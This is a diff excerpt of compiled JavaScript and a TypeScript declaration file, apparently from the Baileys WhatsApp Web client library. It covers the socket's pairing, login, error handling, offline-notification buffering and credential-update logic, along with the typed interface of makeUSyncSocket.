+ const { reply, creds: updatedCreds } = (0, Utils_1.configureSuccessfulPairing)(stanza, creds);
541
+ logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart the connection...');
542
+ ev.emit('creds.update', updatedCreds);
543
+ ev.emit('connection.update', { isNewLogin: true, qr: undefined });
544
+ await sendNode(reply);
545
+ }
546
+ catch (error) {
547
+ logger.info({ trace: error.stack }, 'error in pairing');
548
+ end(error);
549
+ }
550
+ });
551
+ // login complete
552
+ ws.on('CB:success', async (node) => {
553
+ await uploadPreKeysToServerIfRequired();
554
+ await sendPassiveIq('active');
555
+ logger.info('opened connection to WA');
556
+ clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
557
+ ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
558
+ ev.emit('connection.update', { connection: 'open' });
559
+ });
560
+ ws.on('CB:stream:error', (node) => {
561
+ logger.error({ node }, 'stream errored out');
562
+ const { reason, statusCode } = (0, Utils_1.getErrorCodeFromStreamError)(node);
563
+ end(new boom_1.Boom(`Stream Errored (${reason})`, { statusCode, data: node }));
564
+ });
565
+ // stream fail, possible logout
566
+ ws.on('CB:failure', (node) => {
567
+ const reason = +(node.attrs.reason || 500);
568
+ end(new boom_1.Boom('Connection Failure', { statusCode: reason, data: node.attrs }));
569
+ });
570
+ ws.on('CB:ib,,downgrade_webclient', () => {
571
+ end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
572
+ });
573
+ ws.on('CB:ib,,edge_routing', (node) => {
574
+ const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
575
+ const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
576
+ if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
577
+ authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
578
+ }
579
+ });
580
+ let didStartBuffer = false;
581
+ process.nextTick(() => {
582
+ var _a;
583
+ if ((_a = creds.me) === null || _a === void 0 ? void 0 : _a.id) {
584
+ // start buffering important events
585
+ // if we're logged in
586
+ ev.buffer();
587
+ didStartBuffer = true;
588
+ }
589
+ ev.emit('connection.update', { connection: 'connecting', receivedPendingNotifications: false, qr: undefined });
590
+ });
591
+ // called when all offline notifs are handled
592
+ ws.on('CB:ib,,offline', (node) => {
593
+ const child = (0, WABinary_1.getBinaryNodeChild)(node, 'offline');
594
+ const offlineNotifs = +((child === null || child === void 0 ? void 0 : child.attrs.count) || 0);
595
+ logger.info(`handled ${offlineNotifs} offline messages/notifications`);
596
+ if (didStartBuffer) {
597
+ ev.flush();
598
+ logger.trace('flushed events for initial buffer');
599
+ }
600
+ ev.emit('connection.update', { receivedPendingNotifications: true });
601
+ });
602
+ // update credentials when required
603
+ ev.on('creds.update', update => {
604
+ var _a, _b;
605
+ const name = (_a = update.me) === null || _a === void 0 ? void 0 : _a.name;
606
+ // if name has just been received
607
+ if (((_b = creds.me) === null || _b === void 0 ? void 0 : _b.name) !== name) {
608
+ logger.debug({ name }, 'updated pushName');
609
+ sendNode({
610
+ tag: 'presence',
611
+ attrs: { name: name }
612
+ })
613
+ .catch(err => {
614
+ logger.warn({ trace: err.stack }, 'error in sending presence update on name change');
615
+ });
616
+ }
617
+ Object.assign(creds, update);
618
+ });
619
+ if (printQRInTerminal) {
620
+ (0, Utils_1.printQRIfNecessaryListener)(ev, logger);
621
+ }
622
+ return {
623
+ type: 'md',
624
+ ws,
625
+ ev,
626
+ authState: { creds, keys },
627
+ signalRepository,
628
+ get user() {
629
+ return authState.creds.me;
630
+ },
631
+ generateMessageTag,
632
+ query,
633
+ waitForMessage,
634
+ waitForSocketOpen,
635
+ sendRawMessage,
636
+ sendNode,
637
+ logout,
638
+ end,
639
+ onUnexpectedError,
640
+ uploadPreKeys,
641
+ uploadPreKeysToServerIfRequired,
642
+ requestPairingCode,
643
+ /** Waits for the connection to WA to reach a state */
644
+ waitForConnectionUpdate: (0, Utils_1.bindWaitForConnectionUpdate)(ev),
645
+ sendWAMBuffer,
646
+ };
647
+ };
648
+ exports.makeSocket = makeSocket;
649
+ /**
650
+ * map the websocket error to the right type
651
+ * so it can be retried by the caller
652
+ * */
653
+ function mapWebSocketError(handler) {
654
+ return (error) => {
655
+ handler(new boom_1.Boom(`WebSocket Error (${error === null || error === void 0 ? void 0 : error.message})`, { statusCode: (0, Utils_1.getCodeFromWSError)(error), data: error }));
656
+ };
657
+ }
@@ -0,0 +1,36 @@
1
+ import { Boom } from '@hapi/boom';
2
+ import { SocketConfig } from '../Types';
3
+ import { BinaryNode } from '../WABinary';
4
+ import { USyncQuery } from '../WAUSync';
5
+ export declare const makeUSyncSocket: (config: SocketConfig) => {
6
+ executeUSyncQuery: (usyncQuery: USyncQuery) => Promise<import("../WAUSync").USyncQueryResult | undefined>;
7
+ type: "md";
8
+ ws: import("./Client").WebSocketClient;
9
+ ev: import("../Types").BaileysEventEmitter & {
10
+ process(handler: (events: Partial<import("../Types").BaileysEventMap>) => void | Promise<void>): (() => void);
11
+ buffer(): void;
12
+ createBufferedFunction<A extends any[], T>(work: (...args: A) => Promise<T>): ((...args: A) => Promise<T>);
13
+ flush(force?: boolean): boolean;
14
+ isBuffering(): boolean;
15
+ };
16
+ authState: {
17
+ creds: import("../Types").AuthenticationCreds;
18
+ keys: import("../Types").SignalKeyStoreWithTransaction;
19
+ };
20
+ signalRepository: import("../Types").SignalRepository;
21
+ user: import("../Types").Contact | undefined;
22
+ generateMessageTag: () => string;
23
+ query: (node: BinaryNode, timeoutMs?: number) => Promise<any>;
24
+ waitForMessage: <T>(msgId: string, timeoutMs?: number | undefined) => Promise<any>;
25
+ waitForSocketOpen: () => Promise<void>;
26
+ sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
27
+ sendNode: (frame: BinaryNode) => Promise<void>;
28
+ logout: (msg?: string) => Promise<void>;
29
+ end: (error: Error | undefined) => void;
30
+ onUnexpectedError: (err: Error | Boom, msg: string) => void;
31
+ uploadPreKeys: (count?: number) => Promise<void>;
32
+ uploadPreKeysToServerIfRequired: () => Promise<void>;
33
+ requestPairingCode: (phoneNumber: any, pairKey?: string) => Promise<string>;
34
+ waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
35
+ sendWAMBuffer: (wamBuffer: Buffer) => Promise<any>;
36
+ };